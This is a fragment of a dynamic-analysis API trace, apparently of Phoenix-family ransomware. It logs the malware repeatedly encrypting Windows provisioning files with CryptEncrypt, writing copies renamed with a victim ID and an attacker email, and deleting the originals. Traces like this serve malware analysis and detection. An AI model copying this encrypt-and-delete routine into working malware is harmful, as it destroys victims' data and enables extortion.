	[0238.378] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0238.378] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.378] CloseHandle (hObject=0x2d4) returned 1
	[0238.378] CloseHandle (hObject=0x2c0) returned 1
	[0238.378] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\206__Connections_Cellular_Vodafone Ireland (Ireland)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\206__connections_cellular_vodafone ireland (ireland)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.379] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.379] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.380] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=480) returned 1
	[0238.380] CloseHandle (hObject=0x2c0) returned 1
	[0238.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0238.380] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.380] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.380] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.380] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.380] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.381] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1511c0) returned 1
	[0238.381] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.381] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1e0, lpOverlapped=0x0) returned 1
	[0238.382] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0, dwBufLen=0x1f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1f0) returned 1
	[0238.382] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1f0, lpOverlapped=0x0) returned 1
	[0238.383] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0238.383] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.383] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0238.383] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.383] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x142, lpOverlapped=0x0) returned 1
	[0238.383] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0238.383] CloseHandle (hObject=0x2c0) returned 1
	[0238.383] CloseHandle (hObject=0x2d4) returned 1
	[0238.383] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\207__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\207__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 1
	[0238.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.384] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.385] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=714) returned 1
	[0238.385] CloseHandle (hObject=0x2d4) returned 1
	[0238.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.385] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.385] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.385] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.385] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.385] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1514c0) returned 1
	[0238.385] CryptSetKeyParam (hKey=0x1514c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.385] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2ca, lpOverlapped=0x0) returned 1
	[0238.439] CryptEncrypt (in: hKey=0x1514c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0238.439] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.440] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0238.440] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.440] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.440] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0238.440] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.440] CryptDestroyKey (hKey=0x1514c0) returned 1
	[0238.440] CloseHandle (hObject=0x2d4) returned 1
	[0238.441] CloseHandle (hObject=0x2c0) returned 1
	[0238.441] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\208__Connections_Cellular_Cellcom (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\208__connections_cellular_cellcom (israel)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.442] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.442] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.442] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0238.442] CloseHandle (hObject=0x2c0) returned 1
	[0238.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.442] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.442] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.442] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.442] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.443] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.443] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0238.443] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.443] ReadFile (in: hFile=0x2c0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0238.586] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0238.586] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0238.587] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151700) returned 1
	[0238.587] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.587] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.587] CryptDestroyKey (hKey=0x151700) returned 1
	[0238.587] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.587] CryptDestroyKey (hKey=0x151100) returned 1
	[0238.587] CloseHandle (hObject=0x2c0) returned 1
	[0238.587] CloseHandle (hObject=0x2d4) returned 1
	[0238.587] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\209__Connections_Cellular_Orange (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\209__connections_cellular_orange (israel)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.588] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.588] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.589] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=741) returned 1
	[0238.589] CloseHandle (hObject=0x2d4) returned 1
	[0238.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0238.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0238.589] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0238.589] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.589] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0238.589] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.590] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0238.590] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.590] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2e5, lpOverlapped=0x0) returned 1
	[0238.591] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2f0) returned 1
	[0238.591] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2f0, lpOverlapped=0x0) returned 1
	[0238.592] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151740) returned 1
	[0238.592] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0238.592] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0238.592] CryptDestroyKey (hKey=0x151740) returned 1
	[0238.592] WriteFile (in: hFile=0x2c0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0238.592] CryptDestroyKey (hKey=0x151580) returned 1
	[0238.592] CloseHandle (hObject=0x2d4) returned 1
	[0238.592] CloseHandle (hObject=0x2c0) returned 1
	[0238.592] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\20__Connections_Cellular_Telstra (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\20__connections_cellular_telstra (australia)_i0$(__mvid)@wap.provxml")) returned 1
	[0238.593] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0238.593] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0238.594] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=852) returned 1
	[0238.594] CloseHandle (hObject=0x2c0) returned 1
	[0238.594] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\210__Connections_Cellular_Pelephone (Israel)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\210__connections_cellular_pelephone (israel)_i0$(__mvid)@wap.provxml")) returned 0x20
